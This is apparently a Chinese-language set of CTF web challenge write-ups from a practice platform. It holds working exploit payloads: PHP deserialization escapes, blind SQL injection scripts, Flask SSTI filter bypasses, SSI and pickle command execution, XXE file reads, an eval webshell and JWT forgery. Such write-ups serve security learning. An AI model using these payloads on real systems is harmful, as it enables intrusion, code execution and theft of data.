[0CTF 2016]piapiapia
1、访问界面
2、目录扫描发现www.zip
3、审计代码
register.php
注册界面,只限制用户名与密码长度不能小于3
,大于16
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
index.php
,登陆成功跳转到profile.php
if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
}ss
config.php
,判断是要读取config.php
文件
$flag = '';
profile.php
,这里存在反序列化,与读取 photo
的值,并输出 $photo
的值
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
<img src="data:image/gif;base64,<?php echo $photo; ?>
update.php
对传入的值进行了一些限制,里面存在 update_profile
,定位到class.php
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
class.php
对传入的值进行黑名单过滤,会把存在黑名单的值替换成hacker
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
4、看完代码有了思路,需要把config.php
的值输出出来,要满足这个要求,使用file_get_contents
进行读取,但只会对 photo
的值进行输出,所以我们在序列化过程中需要把 photo
的值设定我们想要的值,这里就涉及到反序列化漏洞,序列化会以";
间隔,以}
结尾,对序列化的值}
以外的内容当成垃圾数据丢弃。就可以把photo
的值放到nickname
中,反序列化的时候读取config.php
5、这里我们可以看到需要逃逸出33个字符,需要把nickname
输入的";s:5:"photo";s:10:"config.php";}
挤到photo中,怎么能多出字符呢,这里就用到filter
,会把黑名单的值转为hacker
,使用where
会被变为hacker
,这样就每次多出一个字符,重复33次
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
6、构造payload
,我们可以看到photo
的值已经变成我们构建的config.php
<?php
function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
$profile['phone'] = '17412345689';
$profile['email'] = '812@qq.com';
$profile['nickname'] = 'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}';
$profile['photo'] = '垃圾数据';
echo filter(serialize($profile));
echo "\n";
var_dump(unserialize(filter(serialize($profile))));
?>
7、注册账户,跳转到update.php
页面,burpsuite
抓包,nickname
有长度限制,使用数组绕过,需要重新构建,使用";}
结束数组
<?php
function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
$profile['phone'] = '17412345689';
$profile['email'] = '812@qq.com';
$profile['nickname'] = array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}');
$profile['photo'] = '垃圾数据';
echo filter(serialize($profile));
echo "\n";
var_dump(unserialize(filter(serialize($profile))));
?>
8、在profile.php
中看到base64加密
[MRCTF2020]PYWebsite
1、访问界面
2、右键查看源代码,前端验证
3、直接访问flag.php
,提示只有自己能买,把XFF
头改成127.0.0.1
4、刷新右键查看源码
[极客大挑战 2019]FinalSQL
1、访问界面
2、尝试登录框没成功,让选择正确神秘代码获得flag
,提示盲注,使用盲注测试,过滤了空格
,使用()
绕过
?id=(10)or(ascii(substr((select(user())),1,1))>113);
3、编写脚本
import requests
import time
url='http://ba5f5255-3c04-4e0a-8ec8-25f6c7bd9802.node4.buuoj.cn:81/search.php?id='
flag = ''
def payload(i,j):
#table
# payload = "(10)or(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{})".format(i,j)
#column
# payload = "(10)or(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{},1))>{})".format(i,j)
#数据
payload = "(10)or(ascii(substr((select(group_concat(id,'-',username,'-',password))from(F1naI1y)),{},1))>{})".format(i,j)
r = requests.get(url+payload)
# print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1,10000) :
print(i,':')
low = 31
high = 127
while low <= high :
mid = (low + high) // 2
res = payload(i,mid)
if res :
low = mid + 1
else :
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
time.sleep(1)
flag += chr(f)
print(flag)
exp()
print('flag=',flag)
[MRCTF2020]Ezpop
1、访问界面
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
2、审计代码 ,需要触发append
进行文件包含
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
3、需要触发Modifiter
中的__invoke
,Test
中的__get
可触发__invoke
,Show
中 __toSting
触发 __get
, __construct
触发 _toString
4、构造 payload
<?php
class Modifier {
protected $var='php://filter/convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source= $file;
}
}
class Test{
public $p;
}
$the = new Show(aa);
$the->str = new Test();
$the->str->p=new Modifier();
$b = new Show($the);
echo urlencode(serialize($b));
?>
[NPUCTF2020]ReadlezPHP
1、访问界面
2、查看页面源码,发现路径 /time.php?
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
3、序列化题目,构造payload,shell_exec,exec,system,passthru
常用函数都被禁了,测试assert
可以使用,在phpinfo中找到flag
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$a = $this->a='phpinfo()';
$b = $this->b='assert';
echo $b($a);
}
}
$the = new HelloPhp();
echo serialize($the);
[CISCN2019 华东南赛区]Web11
1、访问界面,在最下面看到smarty
,判断模板注入
2、有个XFF,尝试修改XFF
3、payload
{1*1}
4、命令执行
{{system('cat /flag')}}
[BJDCTF2020]EasySearch
1、访问界面
2、扫描目录找到index.php.swp
(不好扫)
3、看出需要admin
的值等于password
前6为的md5,使用md5脚本爆破
# -*- coding: utf-8 -*-
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len,start=0, size=20):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds)
value = md5.hexdigest()
# print value[start: start+str_len]
if value[start: start+str_len] == substr:
print rnds
stop_event.set()
'''
#碰撞双md5
md5 = hashlib.md5(value)
if md5.hexdigest()[start: start+str_len] == substr:
print rnds+ "=>" + value+"=>"+ md5.hexdigest() + "\n"
stop_event.set()
'''
if __name__ == '__main__':
substr = '6d0bc1'
# start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
str_len = 6
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()
4、抓包发送得到路径,后缀是shtml
的
5、百度得到shtml
后缀存在ssi注入
<!--#exec cmd="id" -->
6、在网站跟目录下找到flag
<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2 " -->
[GYCTF2020]FlaskApp
1、访问界面
2、在提示页面,发现失败乃成功之母
,应该是要失败
3、在加密与解密尝试,得出如果在解密页面处输入1
,页面就会报错,发现render_template_string(tmp)
,存在ssti注入,并且存在waf
4、验证
5、查看源码,发现waf过滤了一些常用
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
6、构造payload,通过拼接绕过过滤
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
7、读取this_is_the_flag.txt
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
[BSidesCF 2019]Futurella
1、访问界面,是一串鬼画符
2、看不懂,右键查看下,发现flag竟然就在这
[NCTF2019]True XML cookbook
1、访问界面
2、使用bp抓包,xml格式
3、先读取/etc/passwd
,存在xxe漏洞
4、读取flag
,一直报错
5、使用伪协议读取源码康康,没有可用信息
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=doLogin.php">]>
<user><username>&xxe;</username><password>admin</password></user>
6、到这里就卡主了,查询资料才知道要内网探测,得到网段10.0.44.2
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///proc/net/arp">]>
<user><username>&xxe;</username><password>admin</password></user>
7、使用bp进行爆破
[CISCN2019 华北赛区 Day1 Web2]ikun
1、访问界面,提示要买到lv6
2、注册账户,进行登录
3、使用脚本找到lv6在哪里
import requests
url = 'http://ce6a792f-b7a8-4e42-a0d7-57103fdbd4b8.node4.buuoj.cn:81/shop?page={0}'
for i in range(1,2000):
response = requests.get(url.format(i))
if "lv6.png" in response.text:
print(i)
break
4、lv6太贵了,使用抓包
5、把最后面的折扣改成很大,不能改0,0直接错误,得到新地址,提示只能admin
访问
6、接下来就是提高权限,cookie里面带有 jwt
,需要破解 jwt
,需要把username
改成admin
7、使用 c-jwt-cracker
解密秘钥
8、使用https://jwt.io/
,进行加密
9、修改cookie
10、右键查看源代码,发现备份文件
11、审计代码,在Admin.py
存在python
反序列化,这里会直接返回form.html
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
12、构造payload1
# coding=utf8
import pickle
import urllib
import commands
class payload(object):
def __reduce__(self):
return (commands.getoutput,('cat /flag.txt',))
a = payload()
print urllib.quote(pickle.dumps(a))
13、payload2
# coding=utf8
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval,("open('/flag.txt').read()",))
a = payload()
print urllib.quote(pickle.dumps(a))
[MRCTF2020]套娃
1、访问界面
2、右键查看源代码
//1st
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
3、通过php特性将某些字符转为_
绕过第一个if
User input | Decoded PHP | variable name |
---|---|---|
%20foo_bar%00 | foo_bar | foo_bar |
foo%20bar%00 | foo bar | foo_bar |
foo%5bbar | foo[bar | foo_bar |
4、第二个if通过换行符%0a
5、访问secrettw.php
,提示要local
6、修改请求头没用,右键源代码,发现注释,搜索资料,是jsfuck加密,放到控制台进行解密,提示post传参
7、随便传入参数,得到源码
8、审计代码,存在file_get_contents
,应该是要读取flag.php文件,前提条件有两个,ip===‘127.0.0.1’ 与 2333
传入参数===todat is a happy day
,第一个可以通过Client-IP:127.0.0.1
,第二个可以通过php://input
9、还存在加密,通过反向写
<?php
function unchange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}
$b =unchange('flag.php');
echo base64_encode($b);
?>
10、得到 flag
[极客大挑战 2019]RCE ME
1、访问界面
2、禁用了字母与数字,用取反绕过,先查看phpinfo,禁用了很多函数
?code=(~%8F%97%8F%96%91%99%90)();
3、构造shell
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "\n";
$c='(eval($_POST[1]))';
$d=urlencode(~$c);
echo $d;
?>
/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);
4、需要执行根目录下的readflag,但没有权限
5、需要绕过,使用蚁剑插件绕过
[BSidesCF 2019]Kookie
1、访问界面,提示需要登录admin账号,提供了cookie账号
2、登录账户抓包,看到cookie
存在username
3、修改为admin
[WUSTCTF2020]颜值成绩查询
1、访问界面,输入框应该是sql注入
2、输入1/**/and/**/1=1/**/%23
页面正常过滤了空格
3、输入1/**/and/**/1=2/**/%23
,查询失败
4、payload
,ASCII
大于100
,成绩为100
?stunum=1/**/and/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),1,1))>100/**/%23
ASCII
大于200
,成绩不存在
5、盲注,编写exp
import requests
import time
url='http://4726a7f2-6cf5-40a8-a0e0-0dc1360449ae.node4.buuoj.cn:81/?stunum='
flag = ''
def payload(i,j):
# 爆表名
# payload = "1/**/and/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{0},1))>{1}/**/%23".format(i,j)
# 爆列名
# payload = "1/**/and/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),{0},1))>{1}/**/%23".format(i,j)
# 爆字段
payload = "1/**/and/**/ascii(substr((select/**/group_concat(flag,'-',value)/**/from/**/flag),{0},1))>{1}/**/%23".format(i,j)
r = requests.get(url+payload)
if "your score is: 100" in r.text:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1,10000) :
print(i,':')
low = 31
high = 127
while low <= high :
mid = (low + high) // 2
res = payload(i,mid)
if res :
low = mid + 1
else :
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
time.sleep(1)
flag += chr(f)
print(flag)
exp()
print('flag=',flag)
[GWCTF 2019]枯燥的抽奖
1、访问界面,提示猜中字符
2、右键查看源代码,发现check.php
3、访问界面
4、存在php伪随机数漏洞
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='Rla1i9br4y'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print res
5、使用php_mt_seed工具
6、算出值,得到flag
<?php
mt_srand('54811715');
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>